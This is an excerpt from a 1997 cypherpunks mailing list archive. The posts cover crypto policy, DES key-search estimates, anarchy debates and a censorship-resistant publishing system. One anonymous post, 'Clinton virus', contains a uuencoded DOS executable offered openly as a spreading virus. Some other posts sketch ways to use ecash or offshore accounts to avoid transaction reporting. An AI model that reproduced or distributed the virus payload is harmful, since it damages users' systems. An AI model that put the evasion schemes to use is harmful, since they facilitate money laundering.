Mrs+TWYd+lq+T//lpVvc65ENTwMh1pjDCyRoXJIUsTW+Qw==
=lheO
-----END PGP SIGNATURE-----

Regards, Jim Ray <jmr@shopmiami.com>
DNRC Minister of Encryption Advocacy

One of the "legitimate concerns of law enforcement" seems to be
that I was born innocent until proven guilty and not the other
way around. -- me

http://shopmiami.com/prs/jimray/    
PGP id.A7D63DA9 98 1F 39 BA 93 86 B4 F5  57 52 64 0E DA BA 2C 71






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 16 May 1997 08:43:47 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Reporting threshold for NY money transfers lowered
In-Reply-To: <5lfvc8$2m0@joseph.cs.berkeley.edu>
Message-ID: <v03007803afa157fd5af7@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:31 PM -0700 5/15/97, David Wagner wrote:
>I thought this might be of interest to cypherpunks:
>
>The threshold for reporting New York money transfers was apparently
>quietly lowered to $750 last month.  Looks like all it took was one
>order signed by one Treasury official -- eek.  Can they lower the
>$10k cash threshold just as easily?
>
[snip]
>*  Although the order was not announced, word spread quickly
>*  among traffickers, and a dramatic drop in money wires to
>*  Colombia followed, along with a sharp increase in seizures
>*  of cash along the eastern seaboard.
>

Correct me if I'm wrong, but under current law ecash tokens are neither
legal tender, foreign currency or money transmission instruments.  So, a
merchant exchanging them for legal tender needn't follow these tightened
regulations (i.e., only the $10K limit would still apply).  Of course,
Congress will be busy drafting new regulations if larger transaction use of
ecash starts to take off.

Seems to me that if accountless ecash were sold via a multi-level marketing
approach, where hordes of ordinary citizens would offer to purchase/redeem
the tokens (at a discount for their trouble), it might substitute for these
moneychaning merchants and make an interesting market.  Smaller operators
could deposit the funds in their demand deposit accounts or sell to
Aggregators who would offer to take any CTR related heat. Aggregators could
maintain that they are merely treating the tokens they purchase as a
commodity, they have no legal tender basis.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 16 May 1997 09:23:46 +0800
To: cypherpunks@toad.com
Subject: Re: Just Say "No" to Congress
In-Reply-To: <3.0.32.19970514223849.006ea694@netcom13.netcom.com>
Message-ID: <19970515174452.40411@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, May 14, 1997 at 10:39:00PM -0700, Lucky Green wrote:
> 
> >FYI, here are two bills that Feinstein introduced recently:
> 
> Sigh. She is my Senator. [Don't blame me. I voted against her. But she hits
> the feelings of the Bay Area head on. "Big brother will bring you
> multi-cultural happiness." She is such a hypocrite. Even carried a gun
> after Moscone and Milk were shot and she thought herself in danger. Once
> she felt safe again, she went on TV and said that if she could get the
> votes in the Senate for total confiscation she would push for it. What's
> good for the goose...]

While I am not fond of Feinstein for various reasons, there is no
contradiction whatsoever in someone carrying a gun, and also working
to outlaw them.  You deal with the realities of the world, and try to
make them better.  It would be a contradiction only if she succeeded
in outlawing them, and continued to carry one. 

She is no more hypocritical than "anarchists" who continue to milk 
the state and society in which they live.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 17 May 1997 02:14:56 +0800
To: Ross Wright <rwright@adnetsol.com>
Subject: Re: Spam IS Free Speech
In-Reply-To: <199705150640.XAA07531@adnetsol.adnetsol.com>
Message-ID: <Pine.LNX.3.91.970515174628.3017B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > > You can not retaliate against free
> > > speech, Rick.  That's a bad thing, plain and simple, black and
> > > white.

Retaliation by force against speech is wrong, more speech is not 
unethical. It might be unpleasant, but not wrong.

> No shit, you just can't send 10,000 megs of info in retaliation for a 
> few bits.  Really, there's no call for that.  It's wrong. 

To make a brief analogy: Say you are a market researcher, and you 
approach me in the street and ask for some time to answer your questions, 
I do not commit any ethical wrongdoing if I stand there and scream at you 
for several minutes. If I physically attack you I commit a crime. 

All internet traffic is speech, including syn-ack flood attacks and any 
other denial of service attempt. This is plain and simple, we have to 
find technological means of thwarting these attacks, they are not 
unethical, unpleasant yes, immoral no. 

> >   It costs me money to download unwanted spam. What's this "free"
> > bullshit?
> 
> What?  Like 80 cents per gig?  Please a bit here and a byte there 
> isn't going to break anyone.  Could someone do the math?

I won`t do the math but the point is it "costs" you energy to listen to 
someone speaking in the street, sure, it is a very small amount, but it 
does cost energy from a strict biological point of view.
This does not lead me to believe any crime is commited by someone 
speaking to, or at me.

I shaln`t repeat myself any further, no speech is a crime.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 16 May 1997 09:13:39 +0800
To: cypherpunks@cyberpass.net
Subject: Re: NSA _likes_ strong crypto?
In-Reply-To: <v0300781cafa0ea98034c@[207.94.249.70]>
Message-ID: <19970515175354.52395@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, May 15, 1997 at 12:42:15PM -0800, Tim May wrote:
[...]
> 
> And using longer keys is "easy" to do. Breaking longer keys is "hard."
> Strong crypto wins out very quickly.
> 
> This is why there is no "middle ground" on crypto...it's either strong or
> its weak, with nothing in between.

An oversimplification.  You, of course, know better.  A crypto system
has to be considered as a whole (rubber hoses, key management, etc). 
That's where the "in between" comes from, and will continue to come
from, regardless of the strength of the algorithms. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 16 May 1997 09:25:16 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Reporting threshold for NY money transfers lowered
In-Reply-To: <5lfvc8$2m0@joseph.cs.berkeley.edu>
Message-ID: <v03007804afa16db7e323@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:31 PM -0800 5/15/97, David Wagner wrote:

>*  Mexico City, April 12 - United States officials said today that
>*  $5.6 million discovered this week in a truck about to cross into
>*  Mexico from El Paso was the largest cash seizure in memory along
>*  the southwest border.
>*  [snip]
>*
>*  ...probably the proceeds of street drug sales...
>*  [snip]
...
>*  Although the order was not announced, word spread quickly
>*  among traffickers, and a dramatic drop in money wires to
>*  Colombia followed, along with a sharp increase in seizures
>*  of cash along the eastern seaboard.

Yet more reasons to get "smart cards" of even less than perfect
cryptographic quality deployed.

If persons planning to buy drugs and other illegal substances could set up
offshore accounts (perhaps by taking a day trip to Anguilla, even declaring
the $10K cash they are taking with them, or using conventional checks in
Anguilla, etc.) and then use the resulting "cash cards" (details left vague
here...maybe Mondex, maybe Mark Twain anonymous bank cards...), the dealers
could then simply have their Anguilla accounts increased by the transaction.

(I use "Anguilla" as my stand in here, as Vince Cate says such things will
be perfectly legal in Anguilla, given that no Anguillan laws are being
violated (e.g., no drugs are being shipped in or out of Anguilla). Of
course, I strongly doubt the Ruling Families of Anguilla will allow this,
so another country may have to be picked.)

This whole exercise is why, of course, the fatuous rhetoric about SAFE and
Pro-CODE, etc., making financial cryptography readily exportable is just
that, fatuous. No way will such anonymous transfer mechanisms be
exportable. And probably not importable, either, given the import
restrictions being planned for the Grand Compromise Omnibus Safe Cyberspace
and Child Protection Act of 1997, co-sponsored by Goodlatte, Kerrey, Burns,
and Feinstein.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Fri, 16 May 1997 06:10:37 +0800
To: cypherpunks@cyberpass.net
Subject: Re: NSA _likes_ strong crypto?
Message-ID: <199705152153.OAA02386@rigel.cyberpass.net>
MIME-Version: 1.0
Content-Type: text/plain


> Date:          Thu, 15 May 1997 15:07:35 -0400
> To:            cypherpunks@cyberpass.net
> From:          Thomas Porter <txporter@mindspring.com>
> Subject:       Re: NSA _likes_ strong crypto?
> Reply-to:      Thomas Porter <txporter@mindspring.com>

> At 09:32 AM 5/15/97 -0700, Bill Frantz thoughtfully expounded thus:
> 
> >
> >During a hall discussion at CFP, I heard that people at NSA are changing
> >their opinions about the use of strong crypto in the general community.
> >The reason is the threat of InfoWar and the need for strong crypto in
> >general use to secure the US information infrastructure.
> 
> 
> I realize I may catch it for my numerical ignorance here, but a more
> paranoid type might think that any acquiescence on the part of NSA might be
> due to more relative ease of breaking important traffic than they might
> have possessed in the past.
> 
> Does any one on the list have any ideas on what the Intel mega-pentium
> parallel  processor (touted for nuclear explosion and weather simulations a
> few months back, and noticeably missing any mention of NSA application)
> does to the time estimates for cracking "strong" crypto keys?  I am being
> purposefully vague in my definitions of strong crypto, but I would present
> as my test cases PGP ascii-armor traffic of 2048 key length or plain files
> encrypted with pgp -c option; ie. typical crypto-criminal/narco-terrorist
> fodder.
> 
> How does this strength of encryption compare to whatever might be used to
> "secure the nation's info infrastructure" [Netscape 40 bit!!??] regarding
> cracking time?  Clearly less, but how much less on this type of specialized
> parallel processor?  To put it another way, any swags on how long it would
> take this pentium parallel processor to crack the current DES56 challenge?
> 
> Inquiring (and ignorant) minds want to know,
> 
> Tom Porter                                       txporter@mindspring.com

1. You must assume that any well-heeled opponent will have built a 
Wiener engine, so the time to brute a DES key can be measured in 
hours, rather than days. A ciphertext-only attack is only a little
harder than a known-plaintext attack.

But that doesn't stop us from doing the calculation anyway.

The fastest DES cracker I'm aware of (Bryddes) currently claims 
615,000 keys/sec on a Pentium 120.

The sandia machine is acheiving 1.06 Tflops with 7264 processors.
The processors are 200 MHz Pentium Pros. (The Mflop rate is lower 
than the MHz rate). They plan to have 9200 of them when it's 
finished.

615k * 200/120 = 1.025Mkps
(it'll actually be a bit higher on a Pro)

1.025M * 9200 = 9.430Gkps

(2^56 = 7.2E16)/9.43E9 = 7.6 Msec

= 88.44 days

Thats a conservative, upper limit, not a SWAG.

Speeds would be much higher on a 64 bit machine. I'm very curious to
see how bitslice DES would run on an MMX Pentium, which has some
64 bit registers.

40 bit encryption is a bad joke = it would take about 2 min on this 
machine for 40 bit DES

Peter Trei
trei@Process.com




 

Peter Trei
Senior Software Engineer
Purveyor Development Team                                
Process Software Corporation
http://www.process.com
trei@process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ryank <ryank@sparrow.vacd.med.umich.edu>
Date: Fri, 16 May 1997 06:28:51 +0800
To: cypherpunks@toad.com
Subject: None
Message-ID: <v01530500afa11d5e3831@[141.211.7.63]>
MIME-Version: 1.0
Content-Type: text/plain











From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: das@razor.engr.sgi.com (Anil Das)
Date: Fri, 16 May 1997 09:30:34 +0800
To: cypherpunks@algebra.com
Subject: 40 bit work factors (Re: NSA _likes_ strong crypto?)
In-Reply-To: <199705152153.OAA02386@rigel.cyberpass.net>
Message-ID: <9705151817.ZM10492@razor.engr.sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


On May 15,  6:05pm, Peter Trei wrote:
>
> 40 bit encryption is a bad joke = it would take about 2 min on this
> machine for 40 bit DES

	Yes, 40 bit encryption is a joke, but one shouldn't
extrapolate exponontially between 56 bit DES and 40 bit encryption.
The work factor will not be less by a factor of 1/65536, but
rather in the same ballpark.

	DES is generally faster to search than other ciphers
(5-10 times faster than RC5), so if the 40 bit encryption
is not with DES, 10 minutes would be a more accurate estimate.

	As for 40 bit DES, nobody uses DES as is with 16
bits of the key zeroed out. What is more likely is something
like CDMF. A brute force attack on CDMF has about four times
the work the factor of (56 bit DES / 65536). Again 10 minutes
appear more accurate.

	Which is not to say that we are not discussing a joke.

	And talking about Wiener machines, they are much
faster on DES than most other symmetric ciphers, especially
something like RC5, which had reducing the efficiency
of hardware crackers as a design goal. So, one should
be careful about extrapolating from DES key search rates.

--
Anil Das





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 16 May 1997 02:30:41 +0800
To: shamrock@netcom.com
Subject: eternity-lite (was Re: The War is Underway (fwd))
In-Reply-To: <3.0.32.19970511125644.006e96a8@netcom13.netcom.com>
Message-ID: <199705151717.SAA01042@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green <shamrock@netcom.com> writes:
> No offense, but Adam's "Eternity" system doesn't come close to Ross
> Anderson's original design. It is a fun weekend hack, but calling it the
> Eternity Service is a very unfortunate choice of words. It isn't any more
> Ross Anderson's Eternity Service than type I remailers are Chaumian mixes.

I wholeheartedly agree that it's current form is no where close to
Ross A's Eternity Service.  My hope was that by giving something
concrete to criticize we might see some progress in the direction of
Ross's ideal.  Perhaps eternity-lite would be a better name (I nearly
released it with this name).

I was hoping for some specific criticisms, analyses, suggestions etc.
Having a functioning example would probably help, I hope to get one up
soonish, time permitting.  Some of the aspects of Ross's system are
quite hard to acheive, while what I have is pretty easy to acheive (as
demonstrated by the few hours it took me to get it where it is).

Type I remailers came before mixmaster.  Bass-o-matic came before
replacement with IDEA, etc.  We still don't have a DC net, nor a
pipenet.


One consideration of the design, is a social aspect, the servers
design is partly attempting to bootstrap acceptability from something
which has come to be viewed as a fact of life: the inherently noisy
and uncontrollable nature of alt USENET newsgroups.  By designing
something which is in essence a search engine, I speculate that the
individual server operators would be less liable than if they part of
the distributed database as is the case with Ross's Eternity Service.
There are specific exemptions for caches in some legislation (I
think), and anyway you can turn cacheing off.  Search engines have
similarly to my knowledge been left out of the censorship argument.
The interesting aspect is how censors would react when they bumped
into documents hosted by this system.  By basing it on USENET, the
hope is to direct censorship attempts at USENET itself, which has
proven very resilient to attack.  (Cancel messages I'll discuss in my
response to Paul Bradley, who raised this question).

One aspect of my system which has not been implemented yet is fetching
articles from news archival and search services such as dejanews and
altavista.  This would be useful to reduce the bandwidth overhead of
having to re-post pages just to keep up with

I tried a few experiments to see if this was feasible, and discovered
a few things which will affect the design.  The design requires lookup
by SHA1 hash of virtual URL.  

Firstly neither search engine will search for hex numbers over a
certain length.  The search engines have some indexing mechanism, I
presume they have a rejection criteria to remove mime strings etc
clogging up the word index, it specifically rejects long hex strings,
I'm not sure what the cut-off is.  Both seem to search for decimal
numbers of somewhat longer length.  Neither will search decimal
numbers of sufficient length to represent a SHA1 hash directly.  The
solution to this seems to be to encode as space separated groups of
sufficiently short numbers and use a search AND to find them.

Secondly (!) one of them explicitly states that they do not archive
uuencoded data.  However it does archive PGP mime'd data (currently),
perhaps to allow for PGP signatures, or perhaps uuencode alone was
targetted as the most common by volume.

The PGP data archiving would likely change if the eternity posts
volume got significant enough to draw the attention of the news
archives.

If/when this came about, something like texto (primitive textual stego
program available on the net somewhere) would probably be sufficient
to fool the search engine.  (Bill Frantz suggested stego for this
purpose in a recent purpose).

Paul Bradley provided some critisisms, and someone else in email,
which I'll respond to next.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Fri, 16 May 1997 09:33:35 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Just Say "No" to Congress
In-Reply-To: <3.0.32.19970513220804.006f09d4@netcom13.netcom.com>
Message-ID: <3.0.1.32.19970515182259.00879320@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:13 AM 5/14/97 -0800, Tim May wrote:
>Feinswine/Swinestein is the most despicable of all the politicians in
>Congress. (This is not just ideology speaking...her usual-ally Barbara
>Boxer is much less swinish, and even has some independent thoughts. I can't
>see I often agree with Boxer, but she's not the Big Sister automaton that
>Swinestein is.)

FYI, Boxer is now (as of 5/12/97) a cosponsor of Sen. Leahy's ECPA/1997
(Encrypted Communications  Privacy Act of 1997) - that's the bill with the
complex structure for "voluntary" key recovery and criminal penalties for
use of crypto  "in furtherance of" felony. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 16 May 1997 09:42:35 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Just Say "No" to Congress
In-Reply-To: <v03007802af9fa094e283@[207.167.93.63]>
Message-ID: <199705160128.SAA03463@netcom17.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>
>We're basically under assault from all directions. The bozos in Congress
>and state governments are spinning out new laws and obscure regulations
>faster than we can react...and of course they're using our money to
>generate these laws and lobby for them. Further, a mostly-brainwashed
>Washington media population is surprising uncritical of these blizzard
>drifts of new laws.
>
...
>
>Removing the Washington area as a malignant tumor requiring drastic surgery
>remains an option.
>

another counterTCMeme for the crowd here-- where else do you give
away vast sums of your cash and refuse to exercise any authority
over how it is spent?

this is the situation we find ourselves in our country. we have
vast sums of money automatically withheld from our paychecks,
yet the public has consistently refused to hold the government
accountable for what it does with the money.

the question is not "how do we hold the government accountable for
our cash" but, "*when* will we"?

again, TCM's total withdrawal is obviously not a solution.

anyone who disbelieves in the authority of the US government
yet sends them their tax money is a hypocrite.

perhaps that US government is a waste of time and effort.
but anyone who sends their cash to it are supporting it.
by withdrawing and still sending your cash, you have put
yourself in the worst possible position, the one that
the US Govt parasites would prefer above all others.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 17 May 1997 02:58:16 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <19970514112959.12839@bywater.songbird.com>
Message-ID: <Pine.LNX.3.91.970515183505.3061A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > No, there is a distinct and marked difference between the absence of 
> > government and the presence of lots of different governments, the reason 
> > for war in Rwanda is because there are a number of rival factions all 
> > competing to gain power, a true anarchy has no government whatsoever.
> > Rwanda is an example of undecided government, not no government.
> 
> Roving bands of thugs are not the same as an "undecided government".

Roving bands of thugs are called LEAs.

Flippant comments aside your comment above is almost entirely without 
substance, and what little substance it does have is simply not true.
Roving bands of thugs are, of course, the same as undecided government, 
any faction competing for power will use unethical means to obtain it, as 
the desire to gain power is immoral in itself.

> >> "anarchy n. the absence of government or control, resulting in 
> >> lawlessness. 2. disorder, confusion" -- Oxford American Dictionary
> >> 
> >> Which part of that would you say didn't apply to Rwanda?  
> > 
> > The entire first definition, there is no absense of government in Rwanda, 
> > merely a number of different prospective government.
> 
> Your sentence is an oxymoron, a self contradiction.  A "number of
> different prospective governments" are *not* the same as "a
> government".  Claiming to be a government is not the same as being a
> government. 

Quite so, but this is not my point, my point is that Rwanda is not an 
anarchy in the normal sense, it is chaos. This might be a dictionary 
definition that does not make it a real definition, I will not argue 
semantics with you anyway, you know what I mean by anarchy, if it makes 
you happy read "absence of any government" for anarchy, anarchy is not 
chaos, regardless of what the dictionary might say.

> > Also, the definition of anarchy is flawed in that it suggests that the 
> > word refers to the lack of government leading to lawlessness, my 
> > definition, and I would imagine the definition of most members of this 
> > list, is that anarchy is the absense of government period. Just because 
> > the law we refer to doesn`t suit you does not mean it is not a valid system.
> 
> You are free to use the word anarchy to refer to asparagus if you 
> wish.  However, the meaning I used is *the* common English meaning.  

Not at all, the original meaning is derived from the latin, "an-archy", 
the absence of an "arch" where arch is taken to mean a higher level, eg. 
a government.

The common meaning is, as you say, used to refer to chaos and lawless 
disorder, this has developed in much the same way as for example the word 
"gay" once refered to being happy, and is now more commonly used to mean 
homosexual.

Your bastardised definition is wrong, plain and simple, you know what I 
mean by anarchy, it`s irrelevant really anyway, we are arguing about 
whether anarchic society can be stable, rather than the specific meaning 
of the word anarchy.

> > > In fact, the correlation between anarchy and war is very strong, for
> > > obvious reasons.  Perhaps that is why most intelligent people don't
> > > consider anarchy a desirable state of affairs. 
> > 
> > Cite?
> 
> Cite what? The obvious correlation that you agree to below? Or do you
> think I need to do find a study that shows that intelligent people
> don't consider an anarchical situation such as the Rwandan collapse a
> desirable situation?

No cite examples of the correlation between my definition of anarchy, ie. 
no government, and war.

> > The correlation between your definition of anarchy and war is obvious, if 
> > you define anarchy as "A lack of government leading to lawlessness" you 
> > are obviously going to see a correlation between this and lawlessness!
> 
> That's not *my* definition, it's *the* definition, as described in a
> standard, reputable dictionary.  I realize that you have your own
> private definition of the term, that you share with your friends and
> an esoteric community.  However, I am not a member of that community, 
> so I use the standard meaning.

No, you use an incorrect meaning that has developed due to commonly held 
misconceptions about the "need" for government. 

Anyway, whether your definition is the correct one or not, the point is 
if you define anarchy as lack of government leading to lawlesness you 
will clearly see a link between this and lawlessness! - you cannot just 
define your views into the meaning of a word!

> > I could counter argue that the correlation between government and war is 
> > irrefutably stronger but then I would be playing your little game, and I 
> > don`t want to get drawn into that.
> 
> Of course there is a correlation between government and war.  There is
> a correlation between people and war, between use of guns and war (so
> clearly we could eliminate war by eliminating guns), economics and
> war, etc etc.  Correlation is not causation. 

Of course, but this is all beside the point, the evil of government is 
not that it kills or makes war, it is that it infringes the rights of 
citizens by assuming a position of superiority over them.


> > Your comment that most intelligent people consider that anarchy is not a 
> > desirable state of affairs does not even deserve comment, democratic 
> > arguments for or against anarchy are completely irrelevant and futile.
> 
> Gosh, I thought you weren't going to comment...

I didn`t comment, I made an observation about the general case and not 
your specific statement.

> Of course, democratic arguments for or against dictatorship are 
> completely irrelevant and futile, as well.  Just out of curiosity, 
> what the heck is a "democratic argument", anyway?

I would say you attempt to justify your position that anarchy is not 
desirable by stating that most intelligent people feel the same is a 
democratic argument.

This is clearly a democratic argument as it assumes that an idea without 
merit suddenly assumes merit if it is supported by a large proportion of 
the population or some subset thereof.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Fri, 16 May 1997 11:27:48 +0800
To: cypherpunks@toad.com
Subject: Clinton virus
Message-ID: <199705160150.SAA13427@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


The Clinton virus! 
Makes bogus DOC files randomly as it spreads....


section 1 of 1 of file bill.com  < uuencode 96 (v56) by R.E.M. >

begin 644 bill.com
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M.@"#V@`^B<"GR4[93]V-E00+Z+G]$;QSGND?_ZH[V'0@@.P:=`-#Z_)7\HO3
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M]L:`=0K1X]'2_LA__^+S,L"`YG_+>^'-/)\&E@W'P\TW!C[UF`:2]36_#_W-
M.=G-/<MKD4_@_Z''/^B+'D`'+O<FS@W1X?T8_@+I`]$#T[7C?ACZ`O.Q!=/C
M^@4!(`PLC:/2B1;??M+#!82T+(:1#O'\RXO/O@KX/[W:"]MY$??;]]B#VP3_
M:0>CX>$M0<,STI/Q'_?V_8#",(#Z.G(#PO_X!^:(%8O0"]-UXRMZC\^]D<;Q
M]N-=(MDK=`?_^/HM=05.1TET3/4D=$C_PR:*'8#K.H##"G,E'_`/$W4V4]'@
M'E)0^OT'_%L#PUL3TULR__C\_V%'XM"+V`O:=`\+]GGC?P?WVG;:`#/R>`'#
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MRCO!??K!_:_\JE^I"%&+R+`@\ZI9%=%J/]KG?GH;TRK4=2K2Z/3^<@*\N_"+
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MP'0T/`%T!8C!0>OJB?N#YP^!QP`@L033ZXS``=@M``*.P(GS@^8/T^N,V`'8
MCMCI<O\J1D%"*@X?OE@!6X/#$(G:,?^L",!T%K0``<>+QX/G#[$$T^@!PH["
M)@$=Z^6M"<!U"('"_P^.PNO8/0$`==J+PXL^!`"+-@8``<8!!@(`+1``CMB.
MP#';^H[6B^?[+O\O#$$*#Q$1*Q<%#P44$Q,%!103!1DC(`X)%`H%&2\*#@D:
M$@X0"@X*!045#P4/!0\%!04'#A\%%141$Q`*#A,;!103%@\/(!D*!0\*!1,3
M!0X%2@X%&`48!0H%"@4/"@42"@43#@4*!0X.0!4/!0\%#P4%!3`)"1H0"@X/
H"@42!04*!0X9!0D9)@\8"A$/#@4+`(\!7@`:`0#U`0!Y"1L6'P`!``
`
end
sum -r/size 3228/6963 section (from "begin" to "end")
sum -r/size 14922/5035 entire input file







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 16 May 1997 02:26:20 +0800
To: paul@fatmans.demon.co.uk
Subject: Re: Eternity server considerations and musings
In-Reply-To: <Pine.LNX.3.91.970513165201.835A-100000@fatmans.demon.co.uk>
Message-ID: <199705151813.TAA01081@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley <paul@fatmans.demon.co.uk> writes:
> The main method used by governments around the world so far to
> attempt to censor information has been the use, or proposal of,
> proxy servers for whole countries or jurisdictions.  This method has
> only thus far been used to censor www connections, and has been used
> to censor specific sites, hence the use of mirroring to circumvent
> government censorship.

One of the main considerations in the design of my eternity server was
the idea that there was information which might get published via
remailers, but would be unlikely to get published on a web page
directly.  Eternity translates the ability of publishing via a
remailer into the ability to publish on the web.

An example is perhaps the NSA handbook, or Mykotronix dumpster diving
results.  These sorts of things tend to arrive via remailer, and then
get mirrored afterwards.

There will also be some class of documents which are too hot to mirror
at all, or where the censor is litigious enough (Scientologists?) to
present a real danger to it's ciritics, and to mirrorers of the
criticisms.

A question then is could a censor systematically block all eternity
search engines effectively.  I think this would be relatively easy,
the design does not really attempt to deal with site blocking
directly.

The URL always includes "eternity" so is easy to block.  You could
perhaps provide an option for a public key encrypted URL.  Or lookup
by the SHA1 of the URL directly.  An SSL session would also help, the
cgi-binary accepts both post and get methods.  However ultimately, the
eternity servers will be advertised, and so the censors just need to
keep track and block all the advertised servers.

However there is another option: all the data is available in USENET
anyway, so anyone can run an eternity search engine for their own use
in a shell account.  To block this is more difficult.

> [blocking USENET, key word searches, recognizing encrypted data]

Use stego solves this (as Bill Frantz observed).  Do a web search on
`texto', it's a nice simple text stego program.

Another interesting fact is that they can't block the traffic unless
they have decrypted it.  As the data can be encrypted with the SHA1 of
the URL, they won't necessarily recognize it as an eternity web page
until it gets accessed or the URL advertised, by which time it is too
late.  The URL can be smuggled in and passed around more readily.

> [a censor can provide a censored USENET feed for their country, they
> can't provide a censored WEB feed because it's too large]

WEB mirroring is useful where the data being mirrored is illegal in
someone else's country and you are trying to stay one step ahead of
the censor.

Eternity means you can publish material which is illegal or
dangerous/unpopular to publish in your own country.  

> [...] it would be nice to see a more robust system which thwarted
> all attempts to censor without the need for human intervention by
> mirroring sites etc.

Sounds like something that could be addressed by building on the
rotating mirror idea William Geiger has been talking about.  Perhaps
you could have an apache module which provided a proxy service which
allows encrypted and steganographically encoded URL passed to it, and
encrypted, stego web pages passed back.  Combine with some unstego
method on the receiving end, and lots of people using apache with this
option turned on, and the censor would have one heck of a problem on
their hands.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 16 May 1997 10:54:53 +0800
To: "'cypherpunks@toad.com>
Subject: Re: Anonymous Remailers
In-Reply-To: <01BC603F.4B529240@pc1901.ibpinc.com>
Message-ID: <19970515192926.34411@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, May 14, 1997 at 11:30:36PM -0800, Tim May wrote:
> At 9:25 PM -0800 5/14/97, Kent Crispin wrote:
> 
[...]
> 
> Collusion between a carefully--or even randomly--selected chain of, say, 20
